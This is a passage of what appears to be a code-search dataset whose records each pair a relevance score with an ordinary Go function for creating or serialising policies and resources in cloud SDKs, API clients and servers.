*BiosPolicy\n\t)\n\n\tlocalBasePath, err := a.client.cfg.ServerURLWithContext(r.ctx, \"BiosApiService.CreateBiosPolicy\")\n\tif err != nil {\n\t\treturn localVarReturnValue, nil, &GenericOpenAPIError{error: err.Error()}\n\t}\n\n\tlocalVarPath := localBasePath + \"/api/v1/bios/Policies\"\n\n\tlocalVarHeaderParams := make(map[string]string)\n\tlocalVarQueryParams := url.Values{}\n\tlocalVarFormParams := url.Values{}\n\tif r.biosPolicy == nil {\n\t\treturn localVarReturnValue, nil, reportError(\"biosPolicy is required and must be specified\")\n\t}\n\n\t// to determine the Content-Type header\n\tlocalVarHTTPContentTypes := []string{\"application/json\"}\n\n\t// set Content-Type header\n\tlocalVarHTTPContentType := selectHeaderContentType(localVarHTTPContentTypes)\n\tif localVarHTTPContentType != \"\" {\n\t\tlocalVarHeaderParams[\"Content-Type\"] = localVarHTTPContentType\n\t}\n\n\t// to determine the Accept header\n\tlocalVarHTTPHeaderAccepts := []string{\"application/json\"}\n\n\t// set Accept header\n\tlocalVarHTTPHeaderAccept := selectHeaderAccept(localVarHTTPHeaderAccepts)\n\tif localVarHTTPHeaderAccept != \"\" {\n\t\tlocalVarHeaderParams[\"Accept\"] = localVarHTTPHeaderAccept\n\t}\n\tif r.ifMatch != nil {\n\t\tlocalVarHeaderParams[\"If-Match\"] = parameterToString(*r.ifMatch, \"\")\n\t}\n\tif r.ifNoneMatch != nil {\n\t\tlocalVarHeaderParams[\"If-None-Match\"] = parameterToString(*r.ifNoneMatch, \"\")\n\t}\n\t// body params\n\tlocalVarPostBody = r.biosPolicy\n\treq, err := a.client.prepareRequest(r.ctx, localVarPath, localVarHTTPMethod, localVarPostBody, localVarHeaderParams, localVarQueryParams, localVarFormParams, formFiles)\n\tif err != nil {\n\t\treturn localVarReturnValue, nil, err\n\t}\n\n\tlocalVarHTTPResponse, err := a.client.callAPI(req)\n\tif err != nil || localVarHTTPResponse == nil {\n\t\treturn localVarReturnValue, localVarHTTPResponse, err\n\t}\n\n\tlocalVarBody, err := ioutil.ReadAll(localVarHTTPResponse.Body)\n\tlocalVarHTTPResponse.Body.Close()\n\tlocalVarHTTPResponse.Body = ioutil.NopCloser(bytes.NewBuffer(localVarBody))\n\tif err != nil {\n\t\treturn localVarReturnValue, localVarHTTPResponse, err\n\t}\n\n\tif localVarHTTPResponse.StatusCode >= 300 {\n\t\tnewErr := &GenericOpenAPIError{\n\t\t\tbody: localVarBody,\n\t\t\terror: localVarHTTPResponse.Status,\n\t\t}\n\t\tif localVarHTTPResponse.StatusCode == 400 {\n\t\t\tvar v Error\n\t\t\terr = a.client.decode(&v, localVarBody, localVarHTTPResponse.Header.Get(\"Content-Type\"))\n\t\t\tif err != nil {\n\t\t\t\tnewErr.error = err.Error()\n\t\t\t\treturn localVarReturnValue, localVarHTTPResponse, newErr\n\t\t\t}\n\t\t\tnewErr.model = v\n\t\t\treturn localVarReturnValue, localVarHTTPResponse, newErr\n\t\t}\n\t\tif localVarHTTPResponse.StatusCode == 401 {\n\t\t\tvar v Error\n\t\t\terr = a.client.decode(&v, localVarBody, localVarHTTPResponse.Header.Get(\"Content-Type\"))\n\t\t\tif err != nil {\n\t\t\t\tnewErr.error = err.Error()\n\t\t\t\treturn localVarReturnValue, localVarHTTPResponse, newErr\n\t\t\t}\n\t\t\tnewErr.model = v\n\t\t\treturn localVarReturnValue, localVarHTTPResponse, newErr\n\t\t}\n\t\tif localVarHTTPResponse.StatusCode == 403 {\n\t\t\tvar v Error\n\t\t\terr = a.client.decode(&v, localVarBody, localVarHTTPResponse.Header.Get(\"Content-Type\"))\n\t\t\tif err != nil {\n\t\t\t\tnewErr.error = err.Error()\n\t\t\t\treturn localVarReturnValue, localVarHTTPResponse, newErr\n\t\t\t}\n\t\t\tnewErr.model = v\n\t\t\treturn localVarReturnValue, localVarHTTPResponse, newErr\n\t\t}\n\t\tif localVarHTTPResponse.StatusCode == 404 {\n\t\t\tvar v Error\n\t\t\terr = a.client.decode(&v, localVarBody, localVarHTTPResponse.Header.Get(\"Content-Type\"))\n\t\t\tif err != nil {\n\t\t\t\tnewErr.error = err.Error()\n\t\t\t\treturn localVarReturnValue, localVarHTTPResponse, newErr\n\t\t\t}\n\t\t\tnewErr.model = v\n\t\t\treturn localVarReturnValue, localVarHTTPResponse, newErr\n\t\t}\n\t\tvar v Error\n\t\terr = a.client.decode(&v, localVarBody, localVarHTTPResponse.Header.Get(\"Content-Type\"))\n\t\tif err != nil {\n\t\t\tnewErr.error = err.Error()\n\t\t\treturn localVarReturnValue, localVarHTTPResponse, newErr\n\t\t}\n\t\tnewErr.model = v\n\t\treturn localVarReturnValue, localVarHTTPResponse, newErr\n\t}\n\n\terr = a.client.decode(&localVarReturnValue, localVarBody, localVarHTTPResponse.Header.Get(\"Content-Type\"))\n\tif err != nil {\n\t\tnewErr := &GenericOpenAPIError{\n\t\t\tbody: localVarBody,\n\t\t\terror: err.Error(),\n\t\t}\n\t\treturn localVarReturnValue, localVarHTTPResponse, newErr\n\t}\n\n\treturn localVarReturnValue, localVarHTTPResponse, nil\n}", "title": "" }, { "docid": "9057f430cf782029a74a2e5203cd88f1", "score": "0.48871756", "text": "func (w *ServerInterfaceWrapper) CreateApiPolicy1(ctx echo.Context) error {\n\tvar err error\n\t// ------------- Path parameter \"organizationId\" -------------\n\tvar organizationId string\n\n\terr = runtime.BindStyledParameter(\"simple\", false, \"organizationId\", ctx.Param(\"organizationId\"), &organizationId)\n\tif err != nil {\n\t\treturn echo.NewHTTPError(http.StatusBadRequest, fmt.Sprintf(\"Invalid format for parameter organizationId: %s\", err))\n\t}\n\n\t// ------------- Path parameter \"apiId\" -------------\n\tvar apiId string\n\n\terr = runtime.BindStyledParameter(\"simple\", false, \"apiId\", ctx.Param(\"apiId\"), &apiId)\n\tif err != nil {\n\t\treturn echo.NewHTTPError(http.StatusBadRequest, fmt.Sprintf(\"Invalid format for parameter apiId: %s\", err))\n\t}\n\n\t// ------------- Path parameter \"version\" -------------\n\tvar version string\n\n\terr = runtime.BindStyledParameter(\"simple\", false, \"version\", ctx.Param(\"version\"), &version)\n\tif err != nil {\n\t\treturn echo.NewHTTPError(http.StatusBadRequest, fmt.Sprintf(\"Invalid format for parameter version: %s\", err))\n\t}\n\n\t// Invoke the callback with all the unmarshalled arguments\n\terr = w.Handler.CreateApiPolicy1(ctx, organizationId, apiId, version)\n\treturn err\n}", "title": "" }, { "docid": "998fb43680a8fd5e0ea4878d0e5d9872", "score": "0.4881329", "text": "func (s RemoveAllResourcePermissionsInput) MarshalFields(e protocol.FieldEncoder) error {\n\te.SetValue(protocol.HeaderTarget, \"Content-Type\", protocol.StringValue(\"application/x-amz-json-1.1\"), protocol.Metadata{})\n\n\tif s.AuthenticationToken != nil {\n\t\tv := *s.AuthenticationToken\n\n\t\tmetadata := protocol.Metadata{}\n\t\te.SetValue(protocol.HeaderTarget, \"Authentication\", protocol.QuotedValue{ValueMarshaler: protocol.StringValue(v)}, metadata)\n\t}\n\tif s.ResourceId != nil {\n\t\tv := *s.ResourceId\n\n\t\tmetadata := protocol.Metadata{}\n\t\te.SetValue(protocol.PathTarget, \"ResourceId\", protocol.QuotedValue{ValueMarshaler: protocol.StringValue(v)}, metadata)\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "dd97a4a4478e7bade700897e6a798860", "score": "0.48752546", "text": "func (s SimPolicy) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"id\", s.ID)\n\tpopulate(objectMap, \"location\", s.Location)\n\tpopulate(objectMap, \"name\", s.Name)\n\tpopulate(objectMap, \"properties\", s.Properties)\n\tpopulate(objectMap, \"systemData\", s.SystemData)\n\tpopulate(objectMap, \"tags\", s.Tags)\n\tpopulate(objectMap, \"type\", s.Type)\n\treturn json.Marshal(objectMap)\n}", "title": "" }, { "docid": "9a9f8d7f69cb86f829bc48c10862c6d9", "score": "0.4874574", "text": "func (f FooHandler) CreateResource(ctx RequestContext, data Payload,\n\tversion string) (Resource, error) {\n\t// Make a database call here.\n\tid := rand.Int()\n\tfoobar, _ := data.GetString(\"foobar\")\n\tcreated := &FooResource{ID: id, Foobar: foobar}\n\treturn created, nil\n}", "title": "" }, { "docid": "a7fb7d9e635a5d2b0501fa69257875a2", "score": "0.48708904", "text": "func (dsap DatabaseSecurityAlertPolicy) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]interface{})\n\tif dsap.SecurityAlertPolicyProperties != nil {\n\t\tobjectMap[\"properties\"] = dsap.SecurityAlertPolicyProperties\n\t}\n\treturn json.Marshal(objectMap)\n}", "title": "" }, { "docid": "34d28bf8b2e0e2ee9529c62cc758322b", "score": "0.48684606", "text": "func (b BlobInventoryPolicySchema) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]interface{})\n\tpopulate(objectMap, \"destination\", b.Destination)\n\tpopulate(objectMap, \"enabled\", b.Enabled)\n\tpopulate(objectMap, \"rules\", b.Rules)\n\tpopulate(objectMap, \"type\", b.Type)\n\treturn json.Marshal(objectMap)\n}", "title": "" }, { "docid": "204eae2100517da0533a9b40e4ee8eee", "score": "0.48597938", "text": "func (app *App) CreateResource(appJSON []byte) (*resource.Resource, error) {\n\n\trsc, err := resource.CreateFromJSON(appJSON)\n\tif err != nil {\n\t\treturn &resource.Resource{}, err\n\t}\n\tapp.Resources = append(app.Resources, rsc.ID)\n\tapp.Save()\n\n\treturn rsc, nil\n}", "title": "" }, { "docid": "9bd4ce21d396975638518c8536c5227c", "score": "0.48532513", "text": "func (lc *Lifecycle) MarshalApplicationPolicy(signaturePolicy *common.SignaturePolicyEnvelope, channelConfigPolicy string) ([]byte, error) {\n\tif signaturePolicy == nil && channelConfigPolicy == \"\" {\n\t\treturn nil, nil\n\t}\n\n\tif signaturePolicy != nil && channelConfigPolicy != \"\" {\n\t\treturn nil, errors.New(\"cannot specify both signature policy and channel config policy\")\n\t}\n\n\tvar applicationPolicy *pb.ApplicationPolicy\n\tif signaturePolicy != nil {\n\t\tapplicationPolicy = &pb.ApplicationPolicy{\n\t\t\tType: &pb.ApplicationPolicy_SignaturePolicy{\n\t\t\t\tSignaturePolicy: signaturePolicy,\n\t\t\t},\n\t\t}\n\t}\n\n\tif channelConfigPolicy != \"\" {\n\t\tapplicationPolicy = &pb.ApplicationPolicy{\n\t\t\tType: &pb.ApplicationPolicy_ChannelConfigPolicyReference{\n\t\t\t\tChannelConfigPolicyReference: channelConfigPolicy,\n\t\t\t},\n\t\t}\n\t}\n\n\tpolicyBytes, err := lc.protoMarshal(applicationPolicy)\n\tif err != nil {\n\t\treturn nil, errors.WithMessage(err, \"failed to marshal application policy\")\n\t}\n\n\treturn policyBytes, nil\n}", "title": "" }, { "docid": "4c02648331f8fab2e01938c9a2f0f3dc", "score": "0.48525068", "text": "func (s GetComponentPolicyInput) MarshalFields(e protocol.FieldEncoder) error {\n\te.SetValue(protocol.HeaderTarget, \"Content-Type\", protocol.StringValue(\"application/json\"), protocol.Metadata{})\n\n\tif s.ComponentArn != nil {\n\t\tv := *s.ComponentArn\n\n\t\tmetadata := protocol.Metadata{}\n\t\te.SetValue(protocol.QueryTarget, \"componentArn\", protocol.QuotedValue{ValueMarshaler: protocol.StringValue(v)}, metadata)\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "23b44a8865484cf3ba2ace63dcf7791c", "score": "0.48510846", "text": "func (s SingleSignOnResource) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"id\", s.ID)\n\tpopulate(objectMap, \"name\", s.Name)\n\tpopulate(objectMap, \"properties\", s.Properties)\n\tpopulate(objectMap, \"systemData\", s.SystemData)\n\tpopulate(objectMap, \"type\", s.Type)\n\treturn json.Marshal(objectMap)\n}", "title": "" }, { "docid": "5ecb81b8eff85b7ca653b4fa3ca20f88", "score": "0.48501906", "text": "func (r *FrontdoorFirewallPolicy) BuildResource() *schema.Resource {\n\tcostComponents := []*schema.CostComponent{}\n\n\tcostComponents = append(costComponents, r.policyCostComponents()...)\n\tcostComponents = append(costComponents, r.customRulesCostComponents()...)\n\tcostComponents = append(costComponents, r.customRuleRequestsCostComponents()...)\n\tcostComponents = append(costComponents, r.managedRulesetsCostComponents()...)\n\tcostComponents = append(costComponents, r.managedRulesetRequestsCostComponents()...)\n\n\treturn &schema.Resource{\n\t\tName: r.Address,\n\t\tUsageSchema: FrontdoorFirewallPolicyUsageSchema,\n\t\tCostComponents: costComponents,\n\t}\n}", "title": "" }, { "docid": "d69eab0fc8b78b87bd76d40722c006e7", "score": "0.4846741", "text": "func (m *PasswordPolicy) ToJSON() (string, error) {\n\treturn codec.ToJSON(m)\n}", "title": "" }, { "docid": "46566db038b5ed84664756f9af0f8cc8", "score": "0.4839837", "text": "func (api objectAPIHandlers) PutBucketPolicyHandler(w http.ResponseWriter, r *http.Request) {\n\tctx := newContext(r, w, \"PutBucketPolicy\")\n\n\tdefer logger.AuditLog(ctx, w, r, mustGetClaimsFromToken(r))\n\n\tobjAPI := api.ObjectAPI()\n\tif objAPI == nil {\n\t\twriteErrorResponse(ctx, w, errorCodes.ToAPIErr(ErrServerNotInitialized), r.URL)\n\t\treturn\n\t}\n\n\tvars := mux.Vars(r)\n\tbucket := vars[\"bucket\"]\n\n\tif s3Error := checkRequestAuthType(ctx, r, policy.PutBucketPolicyAction, bucket, \"\"); s3Error != ErrNone {\n\t\twriteErrorResponse(ctx, w, errorCodes.ToAPIErr(s3Error), r.URL)\n\t\treturn\n\t}\n\n\t// Check if bucket exists.\n\tif _, err := objAPI.GetBucketInfo(ctx, bucket); err != nil {\n\t\twriteErrorResponse(ctx, w, toAPIError(ctx, err), r.URL)\n\t\treturn\n\t}\n\n\t// Error out if Content-Length is missing.\n\t// PutBucketPolicy always needs Content-Length.\n\tif r.ContentLength <= 0 {\n\t\twriteErrorResponse(ctx, w, errorCodes.ToAPIErr(ErrMissingContentLength), r.URL)\n\t\treturn\n\t}\n\n\t// Error out if Content-Length is beyond allowed size.\n\tif r.ContentLength > maxBucketPolicySize {\n\t\twriteErrorResponse(ctx, w, errorCodes.ToAPIErr(ErrPolicyTooLarge), r.URL)\n\t\treturn\n\t}\n\n\tbucketPolicy, err := policy.ParseConfig(io.LimitReader(r.Body, r.ContentLength), bucket)\n\tif err != nil {\n\t\twriteErrorResponse(ctx, w, toAPIError(ctx, err), r.URL)\n\t\treturn\n\t}\n\n\t// Version in policy must not be empty\n\tif bucketPolicy.Version == \"\" {\n\t\twriteErrorResponse(ctx, w, errorCodes.ToAPIErr(ErrMalformedPolicy), r.URL)\n\t\treturn\n\t}\n\n\tconfigData, err := json.Marshal(bucketPolicy)\n\tif err != nil {\n\t\twriteErrorResponse(ctx, w, toAPIError(ctx, err), r.URL)\n\t\treturn\n\t}\n\n\tif err = globalBucketMetadataSys.Update(bucket, bucketPolicyConfig, configData); err != nil {\n\t\twriteErrorResponse(ctx, w, toAPIError(ctx, err), r.URL)\n\t\treturn\n\t}\n\n\t// Success.\n\twriteSuccessNoContent(w)\n}", "title": "" }, { "docid": "fb68902eb08f9a085fa541fb6c2e115a", "score": "0.48169038", "text": "func (i ImmutabilityPolicyProperties) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]interface{})\n\tpopulate(objectMap, \"etag\", i.Etag)\n\tpopulate(objectMap, \"properties\", i.Properties)\n\tpopulate(objectMap, \"updateHistory\", i.UpdateHistory)\n\treturn json.Marshal(objectMap)\n}", "title": "" }, { "docid": "63d21ea77132c2f7a45eb6361a2127a8", "score": "0.48107907", "text": "func (wpcp WebhookPropertiesCreateParameters) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]interface{})\n\tif wpcp.ServiceURI != nil {\n\t\tobjectMap[\"serviceUri\"] = wpcp.ServiceURI\n\t}\n\tif wpcp.CustomHeaders != nil {\n\t\tobjectMap[\"customHeaders\"] = wpcp.CustomHeaders\n\t}\n\tif wpcp.Status != \"\" {\n\t\tobjectMap[\"status\"] = wpcp.Status\n\t}\n\tif wpcp.Scope != nil {\n\t\tobjectMap[\"scope\"] = wpcp.Scope\n\t}\n\tif wpcp.Actions != nil {\n\t\tobjectMap[\"actions\"] = wpcp.Actions\n\t}\n\treturn json.Marshal(objectMap)\n}", "title": "" }, { "docid": "55ce858a9128542f7b5dc4a4bb5112dd", "score": "0.4809751", "text": "func (r *ServiceAPIResource) Marshal() ([]byte, error) {\n\treturn json.Marshal(&r.a)\n}", "title": "" }, { "docid": "45c0a276810749b7c490f2efa4a6480a", "score": "0.48093927", "text": "func (h *Handler) Handle(ctx context.Context, req admission.Request) admission.Response {\n\th.Log.Info(\"received request\", \"name\", req.Name, \"namespace\", req.Namespace, \"gvk\", req.Kind)\n\tif req.Operation != admissionv1.Create && req.Operation != admissionv1.Update {\n\t\treturn admission.Allowed(reasonNoMutationForOperation)\n\t}\n\tr, err := yaml.Parse(string(req.Object.Raw))\n\tif err != nil {\n\t\treturn h.admissionError(err)\n\t}\n\th.Log.V(1).Info(\"parsed resource\", \"resource\", r)\n\tif req.Namespace == util.GetNamespace() {\n\t\treturn admission.Allowed(reasonNoSelfManagement)\n\t}\n\t// The raw resource may not contain the namespace, but the admission review\n\t// request will. That's why the next step copies the namespace from the\n\t// request to the resource. This handles situations such as when the\n\t// ReplicaSetController creates a new pod.\n\tif err := r.SetNamespace(req.Namespace); err != nil {\n\t\th.admissionError(err)\n\t}\n\tbefore, err := r.MarshalJSON()\n\tif err != nil {\n\t\treturn h.admissionError(err)\n\t}\n\n\tif err = resolveImageTags(ctx, h.Log, h.Config, r); err != nil {\n\t\treturn h.admissionError(err)\n\t}\n\n\tafter, err := r.MarshalJSON()\n\tif err != nil {\n\t\treturn h.admissionError(err)\n\t}\n\tpatches, err := jsonpatch.CreatePatch(before, after)\n\tif err != nil {\n\t\treturn h.admissionError(err)\n\t}\n\th.Log.V(1).Info(\"patched resource\", \"patches\", patches)\n\tif h.DryRun {\n\t\th.Log.Info(\"not mutating resource, because dry-run=true\")\n\t\tpatches = []jsonpatch.JsonPatchOperation{}\n\t}\n\treason := reasonPatched\n\tif len(patches) == 0 {\n\t\treason = reasonNotPatched\n\t}\n\treturn admission.Patched(reason, patches...)\n}", "title": "" }, { "docid": "68170c55deb6071694387c87b1103341", "score": "0.48015493", "text": "func (m ManagementPolicyProperties) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]interface{})\n\tpopulateTimeRFC3339(objectMap, \"lastModifiedTime\", m.LastModifiedTime)\n\tpopulate(objectMap, \"policy\", m.Policy)\n\treturn json.Marshal(objectMap)\n}", "title": "" }, { "docid": "32ce19e660aa5bbc124700aaf68361dd", "score": "0.48011532", "text": "func (r *Resource) MarshalJSON() ([]byte, error) {\n\tvar msg json.RawMessage\n\tvar err error\n\n\t// Attach Common attribute to the map before marshal operation\n\tout := map[string]interface{}{\n\t\t\"id\": r.ID,\n\t\t\"schemas\": r.Schemas,\n\t\t\"meta\": r.Meta,\n\t}\n\tif r.ExternalID != \"\" {\n\t\tout[\"externalId\"] = r.ExternalID\n\t}\n\n\tresourceType := r.ResourceType()\n\tif resourceType == nil {\n\t\treturn nil, &core.ScimError{Msg: \"Unsupported Resource Type\"}\n\t}\n\tschema := resourceType.GetSchema()\n\tif schema == nil {\n\t\treturn nil, &core.ScimError{Msg: \"Unsupported Schema\"}\n\t}\n\n\t// Marshal schema attrs to the top level\n\tif values := r.Values(schema.GetIdentifier()); values != nil {\n\t\tfor key, value := range *values {\n\t\t\tif msg, err = json.Marshal(value); err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\t\t\tout[key] = msg\n\t\t}\n\t}\n\n\t// Marshal extensions to proper namespace key\n\tfor _, extSch := range resourceType.GetSchemaExtensions() {\n\t\tif extSch != nil {\n\t\t\tns := extSch.GetIdentifier()\n\t\t\tif values := r.Values(ns); values != nil {\n\t\t\t\tif msg, err = json.Marshal(&values); err != nil {\n\t\t\t\t\treturn nil, err\n\t\t\t\t}\n\t\t\t\tout[ns] = msg\n\t\t\t}\n\t\t}\n\n\t}\n\n\treturn json.Marshal(out)\n}", "title": "" }, { "docid": "7f8c87ef06ef9d53aa66463653f859bd", "score": "0.47976497", "text": "func (pr *TrustDomainResource) Create(item TrustDomain) error {\n\tif err := pr.c.ModQuery(\"POST\", BasePath+TrustDomainEndpoint, item); err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "8d7f0988be82e1b32954e44fc53987d6", "score": "0.4796845", "text": "func (v VolumePropertiesExportPolicy) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]interface{})\n\tpopulate(objectMap, \"rules\", v.Rules)\n\treturn json.Marshal(objectMap)\n}", "title": "" }, { "docid": "edef42f0b819e7e9889121849ecce061", "score": "0.4787194", "text": "func (v *CreateRequest) Encode(sw stream.Writer) error {\n\tif err := sw.WriteStructBegin(); err != nil {\n\t\treturn err\n\t}\n\n\tif v.Ref != nil {\n\t\tif err := sw.WriteFieldBegin(stream.FieldHeader{ID: 1, Type: wire.TStruct}); err != nil {\n\t\t\treturn err\n\t\t}\n\t\tif err := v.Ref.Encode(sw); err != nil {\n\t\t\treturn err\n\t\t}\n\t\tif err := sw.WriteFieldEnd(); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\tif v.EntityValues != nil {\n\t\tif err := sw.WriteFieldBegin(stream.FieldHeader{ID: 2, Type: wire.TMap}); err != nil {\n\t\t\treturn err\n\t\t}\n\t\tif err := v.EntityValues.Encode(sw); err != nil {\n\t\t\treturn err\n\t\t}\n\t\tif err := sw.WriteFieldEnd(); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\tif v.TTL != nil {\n\t\tif err := sw.WriteFieldBegin(stream.FieldHeader{ID: 3, Type: wire.TI64}); err != nil {\n\t\t\treturn err\n\t\t}\n\t\tif err := sw.WriteInt64(*(v.TTL)); err != nil {\n\t\t\treturn err\n\t\t}\n\t\tif err := sw.WriteFieldEnd(); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\tif v.Timestamp != nil {\n\t\tif err := sw.WriteFieldBegin(stream.FieldHeader{ID: 4, Type: wire.TI64}); err != nil {\n\t\t\treturn err\n\t\t}\n\t\tif err := sw.WriteInt64(*(v.Timestamp)); err != nil {\n\t\t\treturn err\n\t\t}\n\t\tif err := sw.WriteFieldEnd(); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\treturn sw.WriteStructEnd()\n}", "title": "" }, { "docid": "406967c2baf5b89f1395e570e5222181", "score": "0.47842148", "text": "func (spd SnapshotPolicyDetails) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]interface{})\n\tif spd.Location != nil {\n\t\tobjectMap[\"location\"] = spd.Location\n\t}\n\tif spd.Tags != nil {\n\t\tobjectMap[\"tags\"] = spd.Tags\n\t}\n\tif spd.SnapshotPolicyProperties != nil {\n\t\tobjectMap[\"properties\"] = spd.SnapshotPolicyProperties\n\t}\n\treturn json.Marshal(objectMap)\n}", "title": "" }, { "docid": "a70dfd9821f425e9486e72823825c4b6", "score": "0.47809586", "text": "func (storage *Storage) CreateBucketPolicy(bucket string, p mstorage.BucketPolicy) error {\n\tstorage.lock.Lock()\n\tdefer storage.lock.Unlock()\n\n\t// verify bucket path legal\n\tif mstorage.IsValidBucket(bucket) == false {\n\t\treturn mstorage.BucketNameInvalid{Bucket: bucket}\n\t}\n\n\t// get bucket path\n\tbucketDir := path.Join(storage.root, bucket)\n\t// check if bucket exists\n\tif _, err := os.Stat(bucketDir); err != nil {\n\t\treturn mstorage.BucketNotFound{\n\t\t\tBucket: bucket,\n\t\t}\n\t}\n\n\t// get policy path\n\tbucketPolicy := path.Join(storage.root, bucket+\"_policy.json\")\n\tfilestat, ret := os.Stat(bucketPolicy)\n\tif !os.IsNotExist(ret) {\n\t\tif filestat.IsDir() {\n\t\t\treturn mstorage.BackendCorrupted{Path: bucketPolicy}\n\t\t}\n\t}\n\n\tfile, err := os.OpenFile(bucketPolicy, os.O_WRONLY|os.O_CREATE, 0600)\n\tdefer file.Close()\n\tif err != nil {\n\t\treturn mstorage.EmbedError(bucket, \"\", err)\n\t}\n\tencoder := json.NewEncoder(file)\n\terr = encoder.Encode(p)\n\tif err != nil {\n\t\treturn mstorage.EmbedError(bucket, \"\", err)\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "e01243f5016c273d6400fe4da1693aea", "score": "0.4778708", "text": "func (b BlobInventoryPolicyDefinition) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]interface{})\n\tpopulate(objectMap, \"filters\", b.Filters)\n\tpopulate(objectMap, \"format\", b.Format)\n\tpopulate(objectMap, \"objectType\", b.ObjectType)\n\tpopulate(objectMap, \"schedule\", b.Schedule)\n\tpopulate(objectMap, \"schemaFields\", b.SchemaFields)\n\treturn json.Marshal(objectMap)\n}", "title": "" }, { "docid": "41c9f31086b73629a76b67bc22c13029", "score": "0.47708076", "text": "func (c Client) CreateResource(ctx context.Context, res Resource) error {\n\tlog.Trace(\"(c Client) ReplaceResource(res)\")\n\trj, err := json.Marshal(res)\n\tif err != nil {\n\t\treturn err\n\t}\n\tlog.Debug(\"Marshaled resource: \", string(rj))\n\n\tpath := c.cfg.ServiceURL + res.ResourceType().Endpoint\n\treq, err := http.NewRequestWithContext(ctx, \"POST\", path, bytes.NewReader(rj))\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn c.resourceOrError(res, req)\n}", "title": "" }, { "docid": "d75c00cf6aa1572fce56fe469305fb53", "score": "0.47647431", "text": "func NewPolicy(ctx *pulumi.Context,\n\tname string, args *PolicyArgs, opts ...pulumi.ResourceOption) (*Policy, error) {\n\tif args == nil {\n\t\treturn nil, errors.New(\"missing one or more required arguments\")\n\t}\n\n\tif args.PolicyDocument == nil {\n\t\treturn nil, errors.New(\"invalid value for required argument 'PolicyDocument'\")\n\t}\n\topts = internal.PkgResourceDefaultOpts(opts)\n\tvar resource Policy\n\terr := ctx.RegisterResource(\"aws-native:iam:Policy\", name, args, &resource, opts...)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn &resource, nil\n}", "title": "" }, { "docid": "2a6526e7624e338d05bd4254e2f0aa3d", "score": "0.4761375", "text": "func (d DatabaseBlobAuditingPolicyProperties) MarshalJSON() ([]byte, error) {\n\tobjectMap := make(map[string]any)\n\tpopulate(objectMap, \"auditActionsAndGroups\", d.AuditActionsAndGroups)\n\tpopulate(objectMap, \"isAzureMonitorTargetEnabled\", d.IsAzureMonitorTargetEnabled)\n\tpopulate(objectMap, \"isManagedIdentityInUse\", d.IsManagedIdentityInUse)\n\tpopulate(objectMap, \"isStorageSecondaryKeyInUse\", d.IsStorageSecondaryKeyInUse)\n\tpopulate(objectMap, \"queueDelayMs\", d.QueueDelayMs)\n\tpopulate(objectMap, \"retentionDays\", d.RetentionDays)\n\tpopulate(objectMap, \"state\", d.State)\n\tpopulate(objectMap, \"storageAccountAccessKey\", d.StorageAccountAccessKey)\n\tpopulate(objectMap, \"storageAccountSubscriptionId\", d.StorageAccountSubscriptionID)\n\tpopulate(objectMap, \"storageEndpoint\", d.StorageEndpoint)\n\treturn json.Marshal(objectMap)\n}", "title": "" }, { "docid": "f19c4cc016cab41b5b1598f644736b08", "score": "0.47534284", "text": "func (s CreateTemplateInput) MarshalFields(e protocol.FieldEncoder) error {\n\te.SetValue(protocol.HeaderTarget, \"Content-Type\", protocol.StringValue(\"application/json\"), protocol.Metadata{})\n\n\tif s.Name != nil {\n\t\tv := *s.Name\n\n\t\tmetadata := protocol.Metadata{}\n\t\te.SetValue(protocol.BodyTarget, \"Name\", protocol.QuotedValue{ValueMarshaler: protocol.StringValue(v)}, metadata)\n\t}\n\tif s.Permissions != nil {\n\t\tv := s.Permissions\n\n\t\tmetadata := protocol.Metadata{}\n\t\tls0 := e.List(protocol.BodyTarget, \"Permissions\", metadata)\n\t\tls0.Start()\n\t\tfor _, v1 := range v {\n\t\t\tls0.ListAddFields(v1)\n\t\t}\n\t\tls0.End()\n\n\t}\n\tif s.SourceEntity != nil {\n\t\tv := s.SourceEntity\n\n\t\tmetadata := protocol.Metadata{}\n\t\te.SetFields(protocol.BodyTarget, \"SourceEntity\", v, metadata)\n\t}\n\tif s.Tags != nil {\n\t\tv := s.Tags\n\n\t\tmetadata := protocol.Metadata{}\n\t\tls0 := e.List(protocol.BodyTarget, \"Tags\", metadata)\n\t\tls0.Start()\n\t\tfor _, v1 := range v {\n\t\t\tls0.ListAddFields(v1)\n\t\t}\n\t\tls0.End()\n\n\t}\n\tif s.VersionDescription != nil {\n\t\tv := *s.VersionDescription\n\n\t\tmetadata := protocol.Metadata{}\n\t\te.SetValue(protocol.BodyTarget, \"VersionDescription\", protocol.QuotedValue{ValueMarshaler: protocol.StringValue(v)}, metadata)\n\t}\n\tif s.AwsAccountId != nil {\n\t\tv := *s.AwsAccountId\n\n\t\tmetadata := protocol.Metadata{}\n\t\te.SetValue(protocol.PathTarget, \"AwsAccountId\", protocol.QuotedValue{ValueMarshaler: protocol.StringValue(v)}, metadata)\n\t}\n\tif s.TemplateId != nil {\n\t\tv := *s.TemplateId\n\n\t\tmetadata := protocol.Metadata{}\n\t\te.SetValue(protocol.PathTarget, \"TemplateId\", protocol.QuotedValue{ValueMarshaler: protocol.StringValue(v)}, metadata)\n\t}\n\treturn nil\n}", "title": "" }, { "docid": "d4769996bd984b752dcd8e3adee6491b", "score": "0.47530428", "text": "func (s StartSchemaCreationInput) MarshalFields(e protocol.FieldEncoder) error {\n\te.SetValue(protocol.HeaderTarget, \"Content-Type\", protocol.StringValue(\"application/json\"), 